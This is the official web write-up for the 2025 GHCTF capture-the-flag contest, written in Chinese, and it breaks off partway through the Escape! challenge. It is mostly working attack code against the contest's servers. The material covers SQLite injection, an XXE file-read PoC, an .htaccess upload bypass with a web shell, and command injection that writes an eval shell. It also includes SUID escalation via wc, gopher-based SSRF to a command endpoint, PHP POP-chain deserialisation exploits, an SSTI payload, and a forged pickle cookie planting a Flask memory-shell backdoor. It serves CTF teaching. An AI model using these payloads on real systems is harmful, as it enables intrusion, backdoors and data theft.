2025GHCTF Official Write Up for Web

Web

SQL???

很明显存在注入点:

接下来比较为难大家的是这个注入是Sqlite注入。了解完Sqlite的语法之后就可以直接做了;依旧先查看字段数

查字段

1
order by 6

sqlite 注入方式和 mysql 的区别不大,少了一些我们经常使用的函数,没有information_schema,闭合方式与 sql 有区别。

查看表

1
union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---

查数据

1
union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

(>﹏<)

代码审计

根据源码可知/ghctf路由接受POST参数xml,同时解析时允许解析外部实体。很明显存在XXE;也没有存在任何的过滤;直接打就行了

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://node2.anna.nssctf.cn:28487/ghctf"

xml = '''<?xml version="1.0"?>

<!DOCTYPE test[
<!ENTITY nn SYSTEM "file:///flag">
]>

<user>
<name>&nn;</name>
<age>18</age>
</user>'''

response = requests.post(url, data={"xml": xml})

print(response.text)

UPUPUP

getimagesize和exif_imagetype绕过

考点:getimagesize和exif_imagetype绕过;apache 的服务器, 很容易想到 .htaccess;但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加入 GIF89A 的话访问整个 images 目录下的文件都会爆 500, 会出现语法错误。.htaccess 通过 # 来注释, 后来了解到还有 \x00

.htaccess
1
2
3
4
5
#define width 1
#define height 1
<FilesMatch "hey.hey">
SetHandler application/x-httpd-php
</FilesMatch>

然后上传hey.hey

蚁剑连接

GetShell

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
<?php
highlight_file(__FILE__);

class ConfigLoader {
private $config;

public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}

public function get($key) {
return $this->config[$key] ?? null;
}
}

class Logger {
private $logLevel;

public function __construct($logLevel) {
$this->logLevel = $logLevel;
}

public function log($message, $level = 'info') {
if ($level === $this->logLevel) {
echo "[LOG] $message\n";
}
}
}

class UserManager {
private $users = [];
private $logger;

public function __construct($logger) {
$this->logger = $logger;
}

public function addUser($username, $password) {
if (strlen($username) < 5) {
return "Username must be at least 5 characters";
}

if (strlen($password) < 8) {
return "Password must be at least 8 characters";
}

$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}

public function authenticate($username, $password) {
if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}

class StringUtils {
public static function sanitize($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}

public static function generateRandomString($length = 10) {
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}

class InputValidator {
private $maxLength;

public function __construct($maxLength) {
$this->maxLength = $maxLength;
}

public function validate($input) {
if (strlen($input) > $this->maxLength) {
return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}

class CommandExecutor {
private $logger;

public function __construct($logger) {
$this->logger = $logger;
}

public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}

@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}

class ActionHandler {
private $config;
private $logger;
private $executor;

public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}

public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}

if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}

return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}

return "Unknown action";
}
}

if (isset($_REQUEST['action'])) {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));

$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);

if (isset($_POST['register'])) {
$username = $_POST['username'];
$password = $_POST['password'];

echo $userManager->addUser($username, $password);
}

if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];

echo $userManager->authenticate($username, $password);
}

$logger->log("No action provided, running default logic");
}

命令执行点:此时的类名已经提示得很明显了:CommandExecutor

接下来继续审计会发现有一个前置条件

只有当action=run的情况下才会执行。那这就很好构造了:

RCE

1
?action=run&input=echo%09PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%2b|base64%09-d%3Eshell.php

suid提权

此时发现没有权限;进行suid提权试试:所谓suid就是,你本来是www-data的权限,但是当你执⾏有suid权限的⽂件时,你会暂时拥有这⽂件所有者的权限(比如root)。

1
2
3
4
5
6
7
8
9
10
11
12
13
find / -user root -perm -4000 -print 2>/dev/null

result:
(www-data:/var/www/html) $ find / -user root -perm -4000 -print 2>/dev/null
/var/www/html/wc
/bin/umount
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
wc

这个时候发现有个wc:https://gtfobins.github.io/

wc:https://gtfobins.github.io/gtfobins/wc/

按照文档来即可

/var/www/html/wc --files0-from "/flag"

Goph3rrr

信息收集

此时发现什么都没有,这个时候我们进行该题目的信息收集:对网站目录进行爆破

发现存在app.py目录。

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
@app.route('/Login', methods=['GET', 'POST'])
def login():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
return b64e(f"Welcome back, {username}!")
return b64e("Invalid credentials!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #007bff;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-primary {
background-color: #007bff;
border: none;
}
.btn-primary:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Login</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Login</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")

@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout

@app.route('/RRegister', methods=['GET', 'POST'])
def register():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
return b64e("Username already exists!")
users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
return b64e("Registration successful!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Register</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #28a745;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-success {
background-color: #28a745;
border: none;
}
.btn-success:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Register</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-success w-100">Register</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")

@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()

@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
if username not in users:
return b64e("User not found!")
file = request.files.get('avatar')
if file:
file.save(os.path.join(avatar_dir, f"{username}.png"))
return b64e("Avatar uploaded successfully!")
return b64e("No file uploaded!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Avatar</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #dc3545;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-danger {
background-color: #dc3545;
border: none;
}
.btn-danger:hover {
background-color: #c82333;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Upload Avatar</h3>
</div>
<div class="card-body">
<form method="POST" enctype="multipart/form-data">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="avatar" class="form-label">Avatar</label>
<input type="file" class="form-control" id="avatar" name="avatar" required>
</div>
<button type="submit" class="btn btn-danger w-100">Upload</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")


@app.route('/app.py')
def download_source():
return send_file(__file__, as_attachment=True)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

SSRF

很明显的ssrf

发送post包

进行两次的编码

1
2
3
4
5
6
POST /Manage HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:7

cmd=env

gropher

打gropher协议:

1
2
3
4
5
6
7
8
9
10
GET /Gopher?url=gopher://127.0.0.2:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-form-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv HTTP/1.1
Host: node2.anna.nssctf.cn:28301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741071169,1741227966,1741254510,1741338945; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741357578; HMACCOUNT=CAF3E7684A636B01
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Popppppp

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
error_reporting(0);

class CherryBlossom {
public $fruit1;
public $fruit2;

public function __construct($a) {
$this->fruit1 = $a;
}

function __destruct() {
echo $this->fruit1;
}

public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}

class Forbidden {
private $fruit3;

public function __construct($string) {
$this->fruit3 = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

class Warlord {
public $fruit4;
public $fruit5;
public $arg1;

public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}

public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}

class Samurai {
public $fruit6;
public $fruit7;

public function __toString() {
$long = @$this->fruit6->add();
return $long;
}

public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}

class Mystery {

public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}

class Princess {
protected $fruit9;

protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}

public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}

class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}

class UselessTwo {
public $hiddenVar = "123123";

public function __construct($value) {
$this->hiddenVar = $value;
}

public function __toString() {
return $this->hiddenVar;
}
}

class Warrior {
public $fruit12;
private $fruit13;

public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}

class UselessThree {
public $dummyVar;

public function __call($name, $args) {
return $name;
}
}

class UselessFour {
public $lalala;

public function __destruct() {
echo "Hehe";
}
}

if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}

此时发现这是一道 php反序列化 的题目;针对此题目我们主要是要找到一整条链子的构造;我们一般要先把链尾找到,所谓的链尾也就是我们真正实现恶意代码的地方。

pop链的寻咋

此时我们注意到在Mystery类中存在可以利用原生类的函数。

此时我们可以考虑利用 php 原生类进行构造恶意代码进行攻击。那么我们就先将其暂定为链尾。

然后我们发现该函数是魔术魔方__get();而此时我们就想要如何触发这个__get()函数呢?在从不可访问的属性读取数据或者不存在这个键都会调用 __get() 方法。

此时我们发现在 Philosopher 这个类中存在访问不存在的键值 key 这个操作,自然就会触发 __get() 函数

我们发现该函数是魔术魔方__invoke();那么我们就继续想如何才能触发这个__invoke()函数呢?当尝试将对象调用为函数时触发__invoke()。所以此时我们就需要寻找有哪个对象被当作函数进行调用了。

我们继续进行源码审计发现在 Warlord 这个类中出现了将对象调用为函数的操作

我们观察到该函数为魔术魔方_call();那么我们就继续想如何才能触发这个__call();在对象上下文中调用不可访问的方法或不存在的方法时触发__call()

再接着源码审计可以看到在 Samurai 这个类中出现了不可访问的方法add() ;此时自然就会触发__call() 函数。

我们观察到该函数为魔术魔方__toString();那么我们就继续想如何才能触发这个__toString()函数呢?在将对象当作字符串使用时就会触发__toString();所以此时我们就需要寻找有哪个对象被当作字符串进行调用了。

继续审计发现在 CherryBlossom 类中出现了将对象 fruit1 当作字符串进行使用的操作

至此整条pop链已经非常的清晰了

1
CherryBlossom{__destruct()} -->  Samurai{__toString()} --> Warlord{__call()} --> Philosopher{__invoke()} --> Mystery{__get()}

但是此时我们发现要实现这一整条 pop 链还有一步没有绕过;我们发现在最后一步__get()函数的触发时需要满足。

1
2
3
4
5
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}

双重md5

此时利用到的是双重md5绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start + str_len] == substr:
# print rnds
# stop_event.set()

# 碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start + str_len] == substr:
print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
stop_event.set()



if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

反序列化之遍历文件目录类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

error_reporting(0);

class CherryBlossom
{
public $fruit1;
public $fruit2;



function __destruct()
{
echo $this->fruit1;
}

public function __toString()
{
$newFunc = $this->fruit2;
return $newFunc();
}
}




class Mystery
{

public $GlobIterator="/*";

public function __get($arg1)
{
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo($day4 . '<br>');
}
});
}
}



class Philosopher
{
public $fruit10;
public $fruit11="rSYwGEnSLmJWWqkEARJp";

public function __invoke()
{
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}






$b=new CherryBlossom();
$b->fruit1=new CherryBlossom();
$b->fruit1->fruit2=new Philosopher();
$b->fruit1->fruit2->fruit10=new Mystery();

$c=serialize($b);
echo $c;

反序列化之读取文件类

此时成功遍历文件目录后我们直接读取文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

error_reporting(0);

class CherryBlossom
{
public $fruit1;
public $fruit2;



function __destruct()
{
echo $this->fruit1;
}

public function __toString()
{
$newFunc = $this->fruit2;
return $newFunc();
}
}




class Mystery
{

public $SplFileObject="/flag44545615441084";

public function __get($arg1)
{
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo($day4 . '<br>');
}
});
}
}



class Philosopher
{
public $fruit10;
public $fruit11="rSYwGEnSLmJWWqkEARJp";

public function __invoke()
{
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}






$b=new CherryBlossom();
$b->fruit1=new CherryBlossom();
$b->fruit1->fruit2=new Philosopher();
$b->fruit1->fruit2->fruit10=new Mystery();

$c=serialize($b);
echo $c;

upload?SSTI!

代码审计

这题我是直接给出了源码。写了个文件上传和文件读取的逻辑。我们看文件读取的函数就可以发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")

# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")

# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")

suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400

with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->

<footer>
<p>&copy; 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)

return render_template_string(tmp_str)

except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))

ssti漏洞

代码是直接将文件内容读取出来然后拼接到模板中,然后利用render_template_string来直接渲染模板,这就很明显存在一个ssti的漏洞

对文件读取的内容有一个简单的检测。

1
2
3
4
5
6
7
8
9
10
11
12
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

with open(file_path, 'rb') as f:
file_content = str(f.read())


for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True

return False # 文件内容中没有危险关键字

且如果是文本经拼接到tmp_str中如果是,照片就直接返回。所以我们要上传文本文件

waf很好绕,编码,request啥的都可以

1
2
3
{{""[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}

?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__

ezzzz_pickle

弱口令

首先是一个弱口令 admin/admin123

抓个包

任意文件读取

尝试一下任意文件读取

flag无法直接读到
读一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)


def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv


# AES 加密和解密函数(一个函数处理加密和解密)
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
# 创建加密器/解密器
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

if mode == 'encrypt':
encryptor = cipher.encryptor()
# 数据填充,确保数据的长度是 AES 块大小的倍数
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode() # 返回加密后的数据(Base64编码)

elif mode == 'decrypt':
decryptor = cipher.decryptor()
# 解密数据
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
# 去除填充
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()

users = {
"admin": "admin123",
}

def create_session(username):

session_data = {
"username": username,
"expires": time.time() + 3600 # 1小时过期
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')

key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')


return session

def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):

try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)

# 反序列化数据
session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False
# 检查过期时间
return session_data if session_data["expires"] > time.time() else False
except:
return False

@app.route("/",methods=['GET','POST'])
def index():

if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.args.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)

return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
# 验证凭据(实际应比较密码哈希)
if users.get(username) == password:
resp = make_response(redirect("/"))
# 创建并设置会话Cookie
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")

return render_template("login.html")


@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp

if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)

pickle反序列化

通过源码可以发现其session是通过pickle 序列化字典然后base64编码再AES加密在编码的结果,验证用户时session解码的过程也是base64解码AES解码base64解码pickle反序列化。那么我们只要能够获得这个加解密的key和iv就可以伪造出session从而控制pickle反序列化的内容,进行命令执行。

而key和iv是从环境变量里读出来的。我们可以读取/proc/self/environ来得到key和iv。

进而命令执行。因为无回显我们可以直接打内存马,或者弹shell或者写文件

exp

使用如下exp打入内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
import requests
import pickle
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()

elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()

class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))
def exp(url):
a = A()
pickled = pickle.dumps(a)
print(pickled)
key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
iv = b"asdwdggiouewhgpw"

pickled_data = base64.b64encode(pickled).decode('utf-8')

payload=aes_encrypt_decrypt(pickled_data,key,iv,mode='encrypt')
print(payload)
Cookie={"session":payload}
request = requests.post(url,cookies=Cookie)
print(request)

if __name__ == '__main__':
url="http://node2.anna.nssctf.cn:28942/"
exp(url)

Escape!

源码审计


我们通过源码可以看到在dashboard.php中有一个文件写入的操作,我们只要绕过exit就可以进行命令执行,这里我们可以使用php://filter/convert.base64-decode来进行base64绕过

1
filename=php://filter/convert.base64-decode/resource=/var/www/html/1.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

但是这个文件写入操作需要用户为admin。我们看一下逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
// 获取 Cookie 内容
if (isset($_COOKIE[$cookieName])) {
$token = $_COOKIE[$cookieName];

// 解码并分割数据和签名
